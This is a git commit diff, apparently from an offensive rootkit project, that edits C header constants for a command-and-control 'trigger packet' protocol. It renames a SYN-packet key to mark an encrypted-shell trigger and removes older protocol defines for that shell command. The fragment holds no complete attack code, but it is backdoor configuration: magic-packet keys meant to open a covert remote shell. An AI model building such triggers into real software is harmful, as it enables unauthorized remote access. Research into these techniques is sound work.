Fixed keys of trigger packet V1, added sample servers, fixed client bug

This commit is contained in:
h3xduck
2022-05-05 17:52:58 -04:00
parent 0553ad777f
commit 213e30ba3b
14 changed files with 1625 additions and 1104 deletions

View File

@@ -13,7 +13,8 @@
#define CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE 0x10
#define CC_TRIGGER_SYN_PACKET_KEY_1 "\x56\xA4"
#define CC_TRIGGER_SYN_PACKET_KEY_2 "\x78\x13"
#define CC_TRIGGER_SYN_PACKET_KEY_3 "\x1F\x29"
#define CC_TRIGGER_SYN_PACKET_KEY_3_ENCRYPTED_SHELL "\x1F\x29"
#define CC_TRIGGER_SYN_PACKET_SECTION_LEN 0x02

View File

@@ -2,13 +2,7 @@
#define __PROTOCOL_H
//V1
//Value added to K3 to define command to send
#define CC_PROT_K3_TOTAL_DEFINED_KEYS_V1 1
#define CC_PROT_K3_ENCRYPTED_SHELL_TRIGGER_V1 0x00
#define CC_PROT_COMMAND_ENCRYPTED_SHELL 0
//V2
struct trigger_t {